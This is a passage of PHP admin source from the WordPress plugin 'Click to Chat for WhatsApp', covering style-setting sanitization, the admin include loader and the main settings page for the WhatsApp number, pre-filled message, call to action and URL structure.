                <input name="ht_ctc_s99[s99_mobile_img_height]" value="<?= $s_99_mobile_img_height ?>" id="s99_mobile_img_height" type="text" class="ctc_no_demo" >
                <label for="s99_mobile_img_height"><?php _e( 'Mobile - Image Height', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <!-- Mobile - Image Width -->
        <div class="row">
            <div class="col s6">
                <p><?php _e( 'Mobile - Image Width', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <input name="ht_ctc_s99[s99_mobile_img_width]" value="<?= $s_99_mobile_img_width ?>" id="s99_mobile_img_width" type="text" class="ctc_no_demo" >
                <label for="s99_mobile_img_width"><?php _e( 'Mobile - Image Width', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <p class="description"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/style-99/">Add your own image / GIF (Style-99)</a></p>

        </div>
        </div>
        </li>
        </ul>
        
        <?php
    }








    /**
     * Sanitize each setting field as needed
     *
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        $new_input = array();

        // add px suffix, remove spaces
        $add_suffix = array(
            's1_icon_size',
            's2_img_size',
            's3_img_size',
            's3_padding',
            's4_img_size',
            's5_img_height',
            's5_img_width',
            's5_content_height',
            's5_content_width',
            's7_icon_size',
            's7_border_size',
            's7_border_radius',
            's8_text_size',
            's8_icon_size',
            's99_desktop_img_height',
            's99_desktop_img_width',
            's99_mobile_img_height',
            's99_mobile_img_width',
            'cta_font_size',
        );

        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {

                if ( in_array( $key, $add_suffix ) ) {

                    $input[$key] = str_replace( ' ', '', $input[$key] );

                    if ( is_numeric($input[$key]) ) {
                        $input[$key] = $input[$key] . 'px';
                    }
                    if ( 's5_img_height' == $key || 's5_img_width' == $key || 's5_content_height' == $key ) {
                        $input[$key] = ('' == $input[$key]) ? '70px' : $input[$key];
                    }
                    if ( 's5_content_width' == $key ) {
                        $input[$key] = ('' == $input[$key]) ? '270px' : $input[$key];
                    }
                    if ( 's7_icon_size' == $key ) {
                        $input[$key] = ('' == $input[$key]) ? '24px' : $input[$key];
                    }
                    if ( 's7_border_size' == $key ) {
                        $input[$key] = ('' == $input[$key]) ? '12px' : $input[$key];
                    }
                    if ( 's7_border_radius' == $key ) {
                        $input[$key] = ('' == $input[$key]) ? '4px' : $input[$key];
                    }
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                } else {
                    $new_input[$key] = sanitize_text_field( $input[$key] );
                }

            }
        }

        return $new_input;
    }



}

$ht_ctc_admin_customize_styles = new HT_CTC_Admin_Customize_Styles();

add_action('admin_menu', array($ht_ctc_admin_customize_styles, 'menu') );
add_action('admin_init', array($ht_ctc_admin_customize_styles, 'settings') );

endif; // END class_exists checkclick-to-chat-for-whatsapp/new/admin/admin.php000064400000003413147510273110015263 0ustar00<?php
/**
*  starting point for the admin side of this plugin.
*
*  include other file here .. which need in admin side. 
*
*  In click-to-chat.php this file will be loaded as is_admin
*
* @package ctc
* @subpackage Administration
* @since 1.0
*/

if ( ! defined( 'ABSPATH' ) ) exit;


$ht_ctc_othersettings = get_option('ht_ctc_othersettings');


/*************** includes ***********/
include_once HT_CTC_PLUGIN_DIR .'new/inc/commons/class-ht-ctc-formatting.php';

// others - hooks ....
include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/class-ht-ctc-admin-hooks.php';

// add scripts
include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-scripts.php';

// Main, Chat admin page
include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-main-page.php';

// greetings
include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-greetings-page.php';

do_action('ht_ctc_ah_admin_includes_after_main_page' );

// group admin page
if ( isset ( $ht_ctc_othersettings['enable_group'] ) ) { 
    include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-group-page.php';
}

// share admin page
if ( isset ( $ht_ctc_othersettings['enable_share'] ) ) { 
    include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-share-page.php';
}

// customize
include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-customize-styles.php';

// other settings - enable options ..
include_once HT_CTC_PLUGIN_DIR .'new/admin/class-ht-ctc-admin-other-settings.php';

// meta boxes - change values at page level
include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/class-ht-ctc-metabox.php';

// admin demo
include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_demo/class-ht-ctc-admin-demo.php';

do_action('ht_ctc_ah_admin_includes' );click-to-chat-for-whatsapp/new/admin/class-ht-ctc-admin-main-page.php000064400000076120147510273110021407 0ustar00<?php
/**
 * Main settings page - admin 
 * 
 * this main settings page contains .. 
 * 
 * enable options .. like chat default enabled, group, share, woocommerce
 * 
 * @package ctc
 * @subpackage admin
 * @since 2.0 
 */

if ( ! defined( 'ABSPATH' ) ) exit;

if ( ! class_exists( 'HT_CTC_Admin_Main_Page' ) ) :

class HT_CTC_Admin_Main_Page {

    public function menu() {
        
        $icon = "data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgZmlsbD0iI2ZmZiIgY2xhc3M9ImJpIGJpLXdoYXRzYXBwIiB2aWV3Qm94PSIwIDAgMTYgMTYiPjxwYXRoIGQ9Ik0xMy42MDEgMi4zMjZBNy44NTQgNy44NTQgMCAwIDAgNy45OTQgMEMzLjYyNyAwIC4wNjggMy41NTguMDY0IDcuOTI2YzAgMS4zOTkuMzY2IDIuNzYgMS4wNTcgMy45NjVMMCAxNmw0LjIwNC0xLjEwMmE3LjkzMyA3LjkzMyAwIDAgMCAzLjc5Ljk2NWguMDA0YzQuMzY4IDAgNy45MjYtMy41NTggNy45My03LjkzQTcuODk4IDcuODk4IDAgMCAwIDEzLjYgMi4zMjZ6TTcuOTk0IDE0LjUyMWE2LjU3MyA2LjU3MyAwIDAgMS0zLjM1Ni0uOTJsLS4yNC0uMTQ0LTIuNDk0LjY1NC42NjYtMi40MzMtLjE1Ni0uMjUxYTYuNTYgNi41NiAwIDAgMS0xLjAwNy0zLjUwNWMwLTMuNjI2IDIuOTU3LTYuNTg0IDYuNTkxLTYuNTg0YTYuNTYgNi41NiAwIDAgMSA0LjY2IDEuOTMxIDYuNTU3IDYuNTU3IDAgMCAxIDEuOTI4IDQuNjZjLS4wMDQgMy42MzktMi45NjEgNi41OTItNi41OTIgNi41OTJ6bTMuNjE1LTQuOTM0Yy0uMTk3LS4wOTktMS4xNy0uNTc4LTEuMzUzLS42NDYtLjE4Mi0uMDY1LS4zMTUtLjA5OS0uNDQ1LjA5OS0uMTMzLjE5Ny0uNTEzLjY0Ni0uNjI3Ljc3NS0uMTE0LjEzMy0uMjMyLjE0OC0uNDMuMDUtLjE5Ny0uMS0uODM2LS4zMDgtMS41OTItLjk4NS0uNTktLjUyNS0uOTg1LTEuMTc1LTEuMTAzLTEuMzcyLS4xMTQtLjE5OC0uMDExLS4zMDQuMDg4LS40MDMuMDg3LS4wODguMTk3LS4yMzIuMjk2LS4zNDYuMS0uMTE0LjEzMy0uMTk4LjE5OC0uMzMuMDY1LS4xMzQuMDM0LS4yNDgtLjAxNS0uMzQ3LS4wNS0uMDk5LS40NDUtMS4wNzYtLjYxMi0xLjQ3LS4xNi0uMzg5LS4zMjMtLjMzNS0uNDQ1LS4zNC0uMTE0LS4wMDctLjI0Ny0uMDA3LS4zOC0uMDA3YS43MjkuNzI5IDAgMCAwLS41MjkuMjQ3Yy0uMTgyLjE5OC0uNjkxLjY3Ny0uNjkxIDEuNjU0IDAgLjk3Ny43MSAxLjkxNi44MSAyLjA0OS4wOTguMTMzIDEuMzk0IDIuMTMyIDMuMzgzIDIuOTkyLjQ3LjIwNS44NC4zMjYgMS4xMjkuNDE4LjQ3NS4xNTIuOTA0LjEyOSAxLjI0Ni4wOC4zOC0uMDU4IDEuMTcxLS40OCAxLjMzOC0uOTQzLjE2NC0uNDY0LjE2NC0uODYuMTE0LS45NDMtLjA0OS0uMDg0LS4xODItLjEzMy0uMzgtLjIzMnoiLz48L3N2Zz4=";

        add_menu_page(
            'Click to Chat ',
            'Click to Chat',
            'manage_options',
            'click-to-chat',
            array( $this, 'settings_page' ),
            $icon
        );
    }

    public function settings_page() {

        if ( ! current_user_can('manage_options') ) {
            return;
        }

        ?>

        <div class="wrap ctc-admin-main-page">

            <?php settings_errors(); ?>

            <!-- full row -->
            <div class="row" style="display:flex; flex-wrap:wrap;" >

                <div class="col s12 m12 xl8 options">
                    <form action="options.php" method="post" class="">
                        <?php settings_fields( 'ht_ctc_main_page_settings_fields' ); ?>
                        <?php do_settings_sections( 'ht_ctc_main_page_settings_sections_do' ) ?>
                        <?php submit_button() ?>
                    </form>
                </div>

                <!-- sidebar content -->
                <div class="col s12 m9 l7 xl4 ht-ctc-admin-sidebar sticky-sidebar ctc_scrollbar">
                    <div class="ctc_scrollbar_2">
                        <?php include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-sidebar-content.php'; ?>
                    </div>
                </div>
                
            </div>

            <!-- new row - After settings page  -->
            <div class="row">
            </div>

        </div>

        <?php

    }


    public function settings() {


        
        // chat feautes
        register_setting( 'ht_ctc_main_page_settings_fields', 'ht_ctc_chat_options' , array( $this, 'options_sanitize' ) );
    
        add_settings_section( 'ht_ctc_chat_page_settings_sections_add', '', array( $this, 'chat_settings_section_cb' ), 'ht_ctc_main_page_settings_sections_do' );

        add_settings_field( 'number', __( 'WhatsApp Number', 'click-to-chat-for-whatsapp'), array( $this, 'number_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        add_settings_field( 'prefilled', __( 'Pre-Filled Message', 'click-to-chat-for-whatsapp'), array( $this, 'prefilled_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        add_settings_field( 'cta', __( 'Call to Action', 'click-to-chat-for-whatsapp'), array( $this, 'cta_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        add_settings_field( 'ctc_desktop', __( 'Style, Position', 'click-to-chat-for-whatsapp'), array( $this, 'ctc_device_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        // @since 3.23 URL Structure field moved to ctc main settings from other settings
        add_settings_field( 'ctc_url_strucutre', __( 'URL Structure', 'click-to-chat-for-whatsapp'), array( $this, 'ctc_url_strucutre_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        add_settings_field( 'ctc_show_hide', __( 'Display Settings', 'click-to-chat-for-whatsapp'), array( $this, 'ctc_show_hide_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );
        
        add_settings_field( 'options', '', array( $this, 'options_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );

        add_settings_field( 'ctc_notes', '', array( $this, 'ctc_notes_cb' ), 'ht_ctc_main_page_settings_sections_do', 'ht_ctc_chat_page_settings_sections_add' );


    }


    public function chat_settings_section_cb() {
        ?>
        <h1 id="chat_settings">Click to Chat - Chat Settings </h1>
        
        <?php
        do_action('ht_ctc_ah_admin' );
    }


    /**
     * WhatsApp number
     * 
     * 
     * @since 3.2.7 - $cc, $num - updated user interface
     */
    function number_cb() {
        $options = get_option('ht_ctc_chat_options');
        $os = get_option('ht_ctc_othersettings');
        $cc = ( isset( $options['cc']) ) ? esc_attr( $options['cc'] ) : '';
        $num = ( isset( $options['num']) ) ? esc_attr( $options['num'] ) : '';
        $number = ( isset( $options['number']) ) ? esc_attr( $options['number'] ) : '';

        if ('' == $num && '' == $cc ) {
            $num = $number;
        }

        // this if is safe side check only to prevent admin side issue if file not found.. not required.
        if ( class_exists( 'HT_CTC_Formatting' ) && method_exists( 'HT_CTC_Formatting', 'wa_number' ) ) {
            $number = HT_CTC_Formatting::wa_number( $number );
        }

        /**
         * 1: no intl-tel-input
         *      if number set and not intl
         * 
         * 2: intl-tel-input
         *      if number blank or isset intl(i.e. number set by intl input)
         */
        $intl = '1';

        if ( isset( $options['intl'] ) || '' == $number ) {
            $intl = '2';
        }

        // if number is not set, then it might be an issue with initl. load 1.
        if ( ! isset($options['number']) ) {
            $intl = '1';
        }

        // if no-intl is enabled then load 1
        if ( isset($os['no-intl']) ) {
            $intl = '1';
        }

        // if _get have number-field 1 then load 1 else if 2 then load 2 ( &number-field=1 )
        if ( isset($_GET) && isset( $_GET['number-field'] ) ) {
            if ( '1' == $_GET['number-field'] ) {
                $intl = '1';
            } else if ( '2' == $_GET['number-field'] ) {
                $intl = '2';
            }
        }

        ?>

        <style>
        .ctc_num_field {
            padding-left: 0px !important;
        }
        .ctc_num_field input {
            border: 1px solid #9e9e9e !important;
            padding-left: 15px !important;
        }
        .ctc_num_field input#whatsapp_cc {
            border-right: none !important;
        }
        </style>

        <?php
        if ( '2' == $intl ) {
            /**
             * interface-2: intl-tel-input
             * 
             * 
             * ht_ctc_chat_options[intl]: used to check if intl input is to display or not.
             *  i.e. $intl 
             *    2: intl-tel-input
             *    1: no intl-tel-input
             * 
             */
            if ( '' !== $number && substr($number, 0, 1) !== '+') {
                $number = "+$number";
            }
            ?>
            <div class="row row_number" id="row_number">
                <div class="col s12">
                    <input type="text" name="ht_ctc_chat_options[number]" data-name="ht_ctc_chat_options[number]" class="intl_number browser-default main_wa_number" value="<?= $number ?>">
                    <input name="ht_ctc_chat_options[intl]" style="display: none;" value="1" type="hidden">
                    <p class="description"><?php _e( "WhatsApp or WhatsApp business number", 'click-to-chat-for-whatsapp' ); ?></p>
                    <?php
                    // display plain input number filed link.. if number filed is null/blank.
                    //  - ..
                    $ht_ctc_admin_pages = get_option('ht_ctc_admin_pages');
                    $save_count = ( isset( $ht_ctc_admin_pages['count'] ) ) ? $ht_ctc_admin_pages['count'] : 0;

                    // if number is not set/null and save count is more than 5 then display the link.
                    if ( '' == $number ) {
                        if ( $save_count > 5 ) {
                            ?>
                            <p class="description">If WhatsApp number is not saving? load plain <a href="<?= admin_url( 'admin.php?page=click-to-chat&number-field=1' ); ?>">input field</a></p>
                            <?php
                        }
                    }
                    ?>

                </div>
            </div>


            <div class="intl_error" style="display:none;">
                <p class="description ht_ctc_error_message">If the WhatsApp number field is not working, <a href="<?= admin_url( 'admin.php?page=click-to-chat&number-field=1' ); ?>">click here</a> to load the plain input field instead of the INTL library.</p>
            </div>
            <?php
        } else {
            /**
             * interface-1: plain (no intl-tel-input)
             * 
             * ht_ctc_chat_options[cc] :  country code. id: whatsapp_cc
             * ht_ctc_chat_options[num] : number (without country code). id: whatsapp_number
             * ht_ctc_chat_options[number] - (hidden filed): full number [cc + num]. update based on js code. id: ctc_whatsapp_number
             */
            ?>
            <!-- Full WhatsApp Number Card -->
            <div class="row" id="row_number">
                <div class="col s12 m8">
                    <p class="description card-panel grey lighten-3" style="padding: 5px 24px; display: inline-block;"><?php _e( 'WhatsApp Number', 'click-to-chat-for-whatsapp' ); ?>: <span class="ht_ctc_wn"><?= $number ?></span> </p>
                </div>
            </div>

            <div class="row">
                <div class="col s12">

                    <!-- country code -->
                    <div class="input-field col s3 m3 ctc_num_field">
                        <input name="ht_ctc_chat_options[cc]" value="<?= $cc ?>" id="whatsapp_cc" type="text" placeholder="+1 " class="input-margin tooltipped ctc_no_demo" data-position="left" data-tooltip="Country Code">
                        <label for="whatsapp_cc"><?php _e( 'Country Code', 'click-to-chat-for-whatsapp' ); ?></label>
                    </div>

                    <!-- number -->
                    <div class="input-field col s9 m7 ctc_num_field">
                        <input name="ht_ctc_chat_options[num]" value="<?= $num ?>" id="whatsapp_number" placeholder="23456789" type="text" class="input-margin tooltipped ctc_no_demo" data-position="right" data-tooltip="Number">
                        <label for="whatsapp_number"><?php _e( 'Number', 'click-to-chat-for-whatsapp' ); ?></label>
                        <span class="helper-text ctc_wn_initial_zero" style="display: none;">zero may not needed to add before the number</span>
                    </div>

                    <!-- full number - hidden field -->
                    <input name="ht_ctc_chat_options[number]" style="display: none;" hidden value="<?= $number ?>" id="ctc_whatsapp_number" type="text">

                </div>

                <p class="description"><?php _e( "WhatsApp or WhatsApp business number with ", 'click-to-chat-for-whatsapp' ); ?> <a target="_blank" href="https://holithemes.com/blog/country-codes/"><?php _e( 'country code', 'click-to-chat-for-whatsapp' ); ?></a> </p>
                <p class="description"><?php _e( '( E.g. 916123456789 - herein e.g. 91 is country code, 6123456789 is the mobile number )', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/whatsapp-number/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>

                <p class="description">Display WhatsApp number input field using: <a href="<?= admin_url( 'admin.php?page=click-to-chat&number-field=2' ); ?>">Intl input library</a></p>
                

            </div>

            <?php
        }


        do_action('ht_ctc_ah_admin_chat_number');

        if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
            ?>
            <p class="description greetings_links">Greetings dialog(message window) at <a href="<?= admin_url( 'admin.php?page=click-to-chat-greetings' ); ?>" target="_blank">Greetings</a> page</p>
            <p class="description greetings_links">PRO: <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/multi-agent/">Multi Agent</a> | <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/random-number/">Random Number</a></p>
            <?php
        }

    }

    // pre-filled - message
    function prefilled_cb() {
        $options = get_option('ht_ctc_chat_options');
        $value = ( isset( $options['pre_filled']) ) ? esc_attr( $options['pre_filled'] ) : '';
        $blogname = HT_CTC_BLOG_NAME;
        $placeholder = "Hello {site} \nLike to know more information about {title}, {url}";
        ?>
        <div class="row">
            <div class="input-field col s12">
                <textarea style="min-height: 64px;" placeholder="<?= $placeholder ?>" name="ht_ctc_chat_options[pre_filled]" id="pre_filled" data-var="pre_filled" class="materialize-textarea input-margin ctc_ad_main_page_on_change_input_update_var"><?= $value ?></textarea>
                <label for="pre_filled"><?php _e( 'Pre-filled message', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( "Text that is pre-filled in WhatsApp Chat window. Add variables {site}, {title}, {url}, [url] to replace with the site name, post title, current webpage URL and full URL including query parameters", 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/pre-filled-message/"><?php _e( 'more info', 'click-to-chat-for-whatsapp' ); ?></a> </p>
            </div>
        </div>
        <?php
    }

    // call to action 
    function cta_cb() {
        $options = get_option('ht_ctc_chat_options');
        $value = ( isset( $options['call_to_action']) ) ? esc_attr( $options['call_to_action'] ) : '';
        ?>
        <div class="row" id="row_call_to_action">
            <div class="input-field col s12">
                <input name="ht_ctc_chat_options[call_to_action]" value="<?= $value ?>" id="call_to_action" type="text" class="input-margin call_to_action ctc_ad_main_page_on_change_input">
                <label for="call_to_action"><?php _e( 'Call to Action', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description"><?php _e( 'Text that appears along with WhatsApp icon/button', 'click-to-chat-for-whatsapp' ); ?> - <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/call-to-action/">more info</a> </p>
            <?php
            if ( class_exists( 'WooCommerce' ) ) {
                $woo_link = admin_url( 'admin.php?page=click-to-chat-woocommerce' );
                ?>
                <p class= "description">To Change Pre-filled Message, Call to action for WooCommerce Single Product Pages <a target="_blank" href="<?= $woo_link ?>">( Click to Chat -> WooCommerce )</a></p>
                <?php
            }
            ?>
            </p>
            </div>
        </div>
        <?php
    }


    // device based settings - style, position
    function ctc_device_cb() {
        $options = get_option('ht_ctc_chat_options');
        $dbrow = 'ht_ctc_chat_options';
        $type = 'chat';

        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-device-settings.php';
    }

    /**
     * url strucutre 
     * @since 3.23 (moved from other settings to main settings)
     * initially started as web whatsapp here 
     *   from @version 3.12 moved to other settings as url structure now again moved to main settings.
     */
    function ctc_url_strucutre_cb() {
        $options = get_option('ht_ctc_chat_options');
        $dbrow = 'ht_ctc_chat_options';
        $type = 'chat';

        // url structure
        $url_target_d = ( isset( $options['url_target_d']) ) ? esc_attr( $options['url_target_d'] ) :'_blank';
        $url_structure_d = ( isset( $options['url_structure_d']) ) ? esc_attr( $options['url_structure_d'] ) :'';
        $url_structure_m = ( isset( $options['url_structure_m']) ) ? esc_attr( $options['url_structure_m'] ) :'';

        $url_structure_d_list = array(
            'default' => '(' . __( 'Default', 'click-to-chat-for-whatsapp') .') wa.me',
            'web' => 'Web WhatsApp'
        );
        
        $url_structure_m_list = array(
            'default' => '(' . __( 'Default', 'click-to-chat-for-whatsapp') .') wa.me',
            'wa_colon' => 'WhatsApp://'
        );

        $url_structure_d_list = apply_filters( 'ht_ctc_fh_url_structure_d_list', $url_structure_d_list );
        $url_structure_m_list = apply_filters( 'ht_ctc_fh_url_structure_m_list', $url_structure_m_list );
        ?>

        <ul class="collapsible url_structure" id="url_structure">
        <li class="">
        <div class="collapsible-header"><?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?>
            <span class="right_icon dashicons dashicons-arrow-down-alt2"></span>
        </div>
        <div class="collapsible-body">

        <p class="description" style="margin: 0 0 20px 0;"><a target="_blank" href="https://holithemes.com/plugins/click-to-chat/url-structure/"><?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?></a> </p>

        <p class="description ht_ctc_subtitle" style="margin-bottom: 11px;"><?php _e( 'Desktop', 'click-to-chat-for-whatsapp' ); ?>:</p>
        <div class="row url_structure_row ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Open links in', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[url_target_d]" data-var="url_target_d" class="url_target_d ctc_ad_main_page_on_change_input_update_var">
                    <option value="_blank" <?= $url_target_d == '_blank' ? 'SELECTED' : ''; ?> ><?php _e( 'New Tab', 'click-to-chat-for-whatsapp' ); ?></option>
                    <option value="popup" <?= $url_target_d == 'popup' ? 'SELECTED' : ''; ?> ><?php _e( 'Pop-up', 'click-to-chat-for-whatsapp' ); ?></option>
                    <option value="_self" <?= $url_target_d == '_self' ? 'SELECTED' : ''; ?> ><?php _e( 'Same Tab', 'click-to-chat-for-whatsapp' ); ?></option>
                </select>
                <label><?php _e( 'Open links in', 'click-to-chat-for-whatsapp' ); ?></label>
            </div>
        </div>

        <div class="row url_structure_row ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Desktop', 'click-to-chat-for-whatsapp' ); ?>: <?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[url_structure_d]" data-var="url_structure_d" class="url_structure_d ctc_ad_main_page_on_change_input_update_var">
                    <?php 
                    foreach ( $url_structure_d_list as $key => $value ) {
                    ?>
                    <option value="<?= $key ?>" <?= $url_structure_d == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                    <?php
                    }
                    if ( ! defined( 'HT_CTC_PRO_VERSION' ) ) {
                        ?>
                        <!-- <option disabled="disabled" value="">Custom URL (PRO)</option> -->
                        <?php
                    }
                    ?>
                    
                </select>
                <label><?php _e( 'Desktop', 'click-to-chat-for-whatsapp' ); ?>: <?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description" style="font-size: 11px;">
                    <span style="font-weight: 500;">Wa.me</span>: To open WhatsApp Desktop app <br>
                    <span style="font-weight: 500;">Web WhatsApp</span>: Opens web.whatsapp.com<br>
                    <span style="font-weight: 500;">Custom URL</span>: Add any URL (PRO). 
                </p>
            </div>
        </div>

        <?php do_action('ht_ctc_ah_url_structure_desktop'); ?>
        
        <p class="description ht_ctc_subtitle" style="margin-bottom: 11px;"><?php _e( 'Mobile', 'click-to-chat-for-whatsapp' ); ?>:</p>
        <div class="row url_structure_row ctc_side_by_side">
            <div class="col s6">
                <p><?php _e( 'Mobile', 'click-to-chat-for-whatsapp' ); ?>: <?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?></p>
            </div>
            <div class="input-field col s6">
                <select name="<?= $dbrow; ?>[url_structure_m]" data-var="url_structure_m" class="url_structure_m ctc_ad_main_page_on_change_input_update_var">
                    <?php 
                    foreach ( $url_structure_m_list as $key => $value ) {
                    ?>
                    <option value="<?= $key ?>" <?= $url_structure_m == $key ? 'SELECTED' : ''; ?> ><?= $value ?></option>
                    <?php
                    }
                    ?>
                </select>
                <label><?php _e( 'Mobile', 'click-to-chat-for-whatsapp' ); ?>: <?php _e( 'URL Structure', 'click-to-chat-for-whatsapp' ); ?></label>
                <p class="description" style="font-size: 11px;">
                    <span style="font-weight: 500;">Wa.me</span>: Opens WhatsApp Mobile app <br>
                    <span style="font-weight: 500;">WhatsApp://</span>: Opens WhatsApp Mobile app directly<br>
                    <span style="font-weight: 500;">Custom URL</span>: Add any URL (PRO).
                </p>
            </div>
        </div>

        <?php do_action('ht_ctc_ah_url_structure_mobile'); ?>
        
        <p class="description" style="">PRO: <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/custom-url/"><?php _e( 'Custom URL', 'click-to-chat-for-whatsapp' ); ?></a> </p>


        </div>
        </li>
        </ul>
        <br>
        <?php

    }

    // show/hide 
    function ctc_show_hide_cb() {
        $options = get_option('ht_ctc_chat_options');
        $dbrow = 'ht_ctc_chat_options';
        $type = 'chat';

        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/admin-show-hide.php';
    }


    // More options - for addon plugins
    function options_cb() {
        do_action('ht_ctc_ah_admin_chat_more_options');
    }

    function ctc_notes_cb() {
        
        $woo_link = 'https://holithemes.com/plugins/click-to-chat/woocommerce/';
        $woo_text = '(Add, Overwrite settings for WooCommerce pages)';

        if ( class_exists( 'WooCommerce' ) ) {
            $woo_link = admin_url( 'admin.php?page=click-to-chat-woocommerce' );
        } else {
            $woo_text = "(Only if WooCommerce plugin is Active)";
        }

        ?>
        <p class="description">Menu:</p>
        <p class="description">👋 <a target="_blank" class="em_1_1" href="<?= admin_url( 'admin.php?page=click-to-chat-greetings' ); ?>">Greetings</a>: Greetings-1, Greetings-2, Form filling(PRO), Multi Agent(PRO)</p>
        <p class="description">🎨 <a target="_blank" class="em_1_1" href="<?= admin_url( 'admin.php?page=click-to-chat-customize-styles' ); ?>">Customize Styles</a>: (Customize style to match your website design - color, size, call to action hover effects, ...)</p>
        <p class="description">⚙️ <a target="_blank" class="em_1_1" href="<?= admin_url( 'admin.php?page=click-to-chat-other-settings' ); ?>">Other Settings</a>: (Analytics, Animations, Notification Badge, Webhooks, ...)</p>
        <p class="description">🛒 <a target="_blank" class="em_1_1" href="<?= $woo_link ?>">WooCommerce</a>: <?= $woo_text ?></p>
        <br>
        <p class="description">Features:</p>
        <p class="description">🧩 <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/custom-element">Custom Element: </a>Class name: ctc_chat  |  Href/Link: #ctc_chat</p>
        <p class="description">🔤 <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/shortcodes-chat">Shortcodes for Chat: </a>[ht-ctc-chat]</p>
        <br>
        <p class="description">Support:</p>
        <p class="description">📚 <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/faq">Frequently Asked Questions (FAQ)</a></p>
        <p class="description">🤝 <a target="_blank" href="https://wordpress.org/support/plugin/click-to-chat-for-whatsapp/#new-topic-0">WordPress Forum</a></p>
        <p class="description">📧 <a target="_blank" href="https://holithemes.com/plugins/click-to-chat/support/">Contact Us</a></p>

        <?php

        // clear cache hover text
        $clear_cache_text = 'ctc_no_hover_text';

        if ( function_exists('wp_cache_clear_cache') || function_exists('w3tc_pgcache_flush') || function_exists('wpfc_clear_all_cache') || function_exists('rocket_clean_domain') || function_exists('sg_cachepress_purge_cache') || function_exists('wpo_cache_flush') ) {
            $clear_cache_text = "ctc_save_changes_hover_text";
        }

        if( class_exists('autoptimizeCache') || class_exists( 'WpeCommon' ) || class_exists( 'WpeCommon' ) || class_exists('LiteSpeed_Cache_API') || class_exists('Cache_Enabler') || class_exists('PagelyCachePurge') || class_exists('comet_cache') || class_exists('\Hummingbird\WP_Hummingbird') ) {
            $clear_cache_text = "ctc_save_changes_hover_text";
        }

        ?>
        <!-- hover content for submit button -->
        <span style="display: none;" id="<?= $clear_cache_text ?>"><?php _e( 'Please clear the cache after save changes', 'click-to-chat-for-whatsapp' ); ?></span>
        <?php
        
        // if multilingual plugin is active then display a message to 'After saving the settings, clear/update the translation'
        // pll_count_posts
        if ( function_exists('icl_register_string') || function_exists('pll_register_string')  ) {
            ?>
            <p class="description" style="margin-top: 24px;">Multilingual: </p>
            <p class="description">🚩 If multilingual plugins are installed, After saving the changes, clear/update the string translations</p>
            <?php
        }
    }

    

    /**
     * Sanitize each setting field as needed
     *
     * @param array $input Contains all settings fields as array keys
     */
    public function options_sanitize( $input ) {

        if ( ! current_user_can( 'manage_options' ) ) {
            wp_die( 'not allowed to modify - please contact admin ' );
        }

        // formatting api - emoji ..
        include_once HT_CTC_PLUGIN_DIR .'new/admin/admin_commons/ht-ctc-admin-formatting.php';


        $new_input = array();

        foreach ($input as $key => $value) {
            if( isset( $input[$key] ) ) {


                if ( is_array( $input[$key] ) ) {
                    // key: display, r_nums
                    // $new_input[$key] = array_map( 'sanitize_text_field', $input[$key] );
